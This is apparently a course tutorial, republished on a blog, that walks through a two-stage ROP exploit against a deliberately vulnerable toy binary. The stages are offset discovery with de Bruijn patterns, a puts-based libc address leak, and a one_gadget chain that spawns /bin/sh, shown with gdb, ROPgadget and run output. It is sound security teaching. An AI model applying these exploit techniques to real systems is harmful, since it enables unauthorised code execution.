An example of exploitation using ROP

An example of exploitation using ROP

This example demonstrates some key techniques in exploiting a stack-based buffer overflow vulnerability to launch a shell using ROP. There are three files included:

  • basic_rop.c: the source code for the target binary.
  • basic_rop: the target binary.
  • rop.py: the solution script (in python)

To make the problem slightly more interesting, we require that the ASLR is enabled, so the libc base address (and the buffer address) are randomized.

Analysis

The target binary basic_rop is a simple program that prints out a string, accepts an input from the user and simply echoes back the input. There is an obvious vulnerability in the main() function; it allocates 8 bytes in the stack of main(), but allows an input of up to 64 bytes. This potentially allows us to change the return pointer and execute arbitrary code.

The binary does not have the stack guard enabled, and is a non-PIE binary, as can be seen from the output of checksec.

bash 复制代码
[*] '/home/user1/lectures/rop/basic_rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

It is also dynamically linked, so we know that the libc functions' addressess are loaded into GOT when they are resolved (after the first call to such a function).

The stack is, however, non-executable, so we can't simply inject shell code there. This leaves us with the only option of using existing code in the executable segments of the binary. Two possible places to find such executable code: the binary itself and the libraries it loads (libc or ld). Using code already in the binary is the preferred option here as it is a non-PIE binary, so the addresses of instructions in the binary are fixed -- so they are not randomly relocated to different addresses every time the binary is run.

But before start crafting a ROP chain to launch a shell, we will have to figure out how far off is the return address from the start of the buffer. We can do this statically (e.g., examining the disassembly of the binary) or dynamically (e.g., using gdb). We will use the latter, just to demonstrate a particularly common technique to find offsets of return address using de Bruijn sequences.

Determining the return address offset

You can skip this section if you are not interested in this particular technique of using de Bruijn sequences. The binary is simple enough that the offset can be determined by a quick look at the disassembly.

A de Bruijn sequence with a period of N is a string such that every substring of length N occurs in the string exactly once. This means in particular that given a substring of length N, we can determine exactly its offset relative to the start of the string.

For our example, we will generate a de Bruijn string with period 8. If we overflow the buffer with such a sequence, and it overwrites the stored RBP or the stored return pointer, we can easily determine the offset of the stored RBP by examining the byte pattern of RBP.

We can use either pwntools or gef to generate de Bruijn sequences. We show here an example using pwntools.

python 复制代码
>>> from pwn import *
>>> cyclic(64, n=8)
b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaa'
>>> 

This generates a string of length 64, with a period of 8 (so every substring of length 8 is unique).

We then use this string as an input, in a gdb session, to figure out the return address offset. We set a break point right after the call to fgets (determined by looking at the disassembly of basic_rop) and input the de Bruijn sequence we generated above.

gef➤ break *0x401186
gef➤  run
gef➤  
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaa
gef➤  x/gx $rbp
0x7fffffffe070: 0x6161616161616162

We see that the stored RBP has been overwritten. The pattern command in GEF would help us figure out the offset of this pattern 0x6161616161616162 in the input we provided.

gef➤  pattern search 0x6161616161616162
[+] Searching for '6261616161616161'/'6161616161616162' with period=8
[+] Found at offset 8 (little-endian search) likely

GEF tells us that the stored RBP is stored 8 bytes above the buffer address, which means that the return address is stored at 16 bytes above the buffer. We'll use this information to construct our payload later.

Exploitation

The first hurdle in creating a payload that launches a shell is that it typically requires a syscall gadget, but no such gadgets are present in the basic_rop binary. For example:

bash 复制代码
$ ROPgadget --binary ./basic_rop | grep syscall

does not show anything. There are plenty of syscall gadgets in libc --

but to use them, we need to know the libc base address, and since ASLR is enabled, this base changes with every run. So our first hurdle is to exploit the buffer overflow bug to leak the libc base address (stage 1), and then using the knowledge of the libc base, craft a ROP chain to execute /bin/sh (stage 2).

Stage 1: Leaking the libc base

The idea is quite simple: we puts to output its own (real) address. Since this binary is dynamically linked, and it is a non-PIE binary, we know precisely where the real address of puts is stored -- in the GOT entry for puts in the .got.plt section. To initiate a call to put, we use its address in the .plt section (actually it's in the .plt.sec for this binary). Both the GOT entry and the .plt address of puts can be found by a simple objdump command:

bash 复制代码
$ objdump -M intel -dj .plt.sec basic_rop

basic_rop:     file format elf64-x86-64

Disassembly of section .plt.sec:

0000000000401050 <puts@plt>:
  401050:       f3 0f 1e fa             endbr64 
  401054:       f2 ff 25 bd 2f 00 00    bnd jmp QWORD PTR [rip+0x2fbd]        # 404018 <puts@GLIBC_2.2.5>
  40105b:       0f 1f 44 00 00          nop    DWORD PTR [rax+rax*1+0x0]

...

So to print the real address of puts, we call puts@plt, setting its argument to point to its GOT entry 0x404018.

Since this is a 64-bit binary, by the linux calling convention for x86-64, this argument must be loaded to the rdi register, so we will need find a ROP gadget to do that (and it can't be in libc -- we still don't have the libc base!).

Fortunately, there is a pop rdi gadget in the basic_rop binary itself:

bash 复制代码
$ ROPgadget --binary basic_rop | grep 'pop rdi ; ret'
0x0000000000401203 : pop rdi ; ret

So we can now construct a payload to overflow the buffer and print the address of puts. The stack configuration after the overflow should look something like this:

[puts@plt address (0x401050) ]
[GOT entry of puts (0x404018)]
[pop rdi gadget (0x401203)   ]  -->  return address location
[16 bytes of padding         ] 
-----------------------------------  start of buffer

This payload will overflow the buffer and overwrite the return address of main() with the pop rdi gadget, so when main() returns, it will trigger the ROP chain to print the puts address in libc.

Once we get the address of puts, we can find the libc base by subtracting puts's address with the relative offset of puts with respect to the libc base. The latter is fixed, and can be found by querying the symbol of puts in the libc file (e.g., using pwnlib.elf library -- see the exploit code).

Note however, we don't want to end the exploit here, as if the program quits, next time we run it the libc address will change so the address we obtained above will be useless for the second stage attack. Instead we want to launch the second stage attack in the same run of the program. The trick here is to add the main() function itself at the end of the ROP chain, so after the libc address is leaked, we will start the main function again to perform another overflow, but this time equipped with the knowledge of the libc base. So the actual Stage 1 payload is:

[main() address              ]
[puts@plt address (0x401050) ]
[GOT entry of puts (0x404018)]
[pop rdi gadget (0x401203)   ]  -->  return address location
[16 bytes of padding         ] 
-----------------------------------  start of buffer

Stage 2: launching shell

After a successful attack at Stage 1, we will have the libc base, and we have triggered the (re-)execution of the main function. Now our goal is to overflow the buffer in main() again, but with a different ROP chain, aimed to launch a shell.

We could construct a ROP chain manually to call execve syscall with argument /bin/sh, but this is such a common task in exploitation that there is already a tool that specifically finds such a gadget for us -- the one_gadget tool. Running this tool on libc, we find:

bash 复制代码
$ one_gadget /lib/x86_64-linux-gnu/libc-2.31.so 
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

The command shows three possible "one gadgets". The "constraints" under each gadget describes what conditions must be satisfied for that gadget to execute successfully. For example the first one_gadget, which is located at offset 0xe3afe from the libc base, is meant to execute execve("/bin/sh", r15, r12), where r15 and r12 satisfy one of the following conditions: (1) they point to null values, or (2) both r15 and r12 are null, or (3) they point to valid argv (arguments) and envp (environment variables) arrays.

So we will have to make sure at least one of these three conditions is satisfied when this gadget is executed. For that, we will use another gadget to set the registers r12 and r15 to NULL. There happens to be such a gadget in basic_rop:

bash 复制代码
ROPgadget --binary basic_rop | grep 'pop r15' | grep 'pop r12'
0x00000000004011fc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004011fb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

The gadget we want is at 0x4011fb, but it does a bit more than popping stack elements to r12 and r15. It also pops into r13 and r14. So to use this gadget, we need to stack 4 elements on top of it.

The second stage payload should therefore look like the following:

[one_gadget (libc_base + 0xe3afe)   ]                       ]
[32 bytes of 0x00                   ]
[pop r12 to r15 gadget (0x4011fb)   ]  -->  return address location
[16 bytes of padding                ] 
------------------------------------------  start of buffer

The entire attack has been automated using a python script (rop.py). Running this will get us the shell.

bash 复制代码
$ python3 rop.py
user1@comp3703:~/lectures/rop$ python3 rop.py 
[*] '/home/user1/lectures/rop/basic_rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc-2.31.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './basic_rop': pid 24532
b'Hello, type something\n'
b'AAAAAAAAAAAAAAAA\x03\x12@\n'
puts address: 0x7fcc443d9420
libc base: 0x7fcc44355000
b'Hello, type something\n'
[*] Switching to interactive mode
$ ls
README.md  basic_rop  basic_rop.c  rop.py
$  
相关推荐
0wioiw0几秒前
Flask-----SQLAlchemy教程
后端·python·flask
Faylynn7 分钟前
Python:方法间的多个返回值的传输和引用
python·pycharm
觅远10 分钟前
python+reportlab创建PDF文件
开发语言·python·pdf
逆境清醒16 分钟前
MarkItDown的使用(将Word、Excel、PDF等转换为Markdown格式)
python·markdown·markitdown
执着的小火车1 小时前
02-18.python入门基础一基础算法
数据结构·python·算法·排序算法
梦茹^_^1 小时前
排序算法(系列)
数据结构·python·算法·排序算法·希尔排序·基数排序·计数排序和桶排序
码上好玩1 小时前
vscode写python,遇到问题:ModuleNotFoundError: No module named ‘pillow‘(已解决 避坑)
vscode·python·pillow
Dcy_ASK1 小时前
认识Python语言
开发语言·python
工业互联网专业2 小时前
Python毕业设计选题:基于python的酒店推荐系统_django+hadoop
hadoop·python·django·vue·毕业设计·源码·课程设计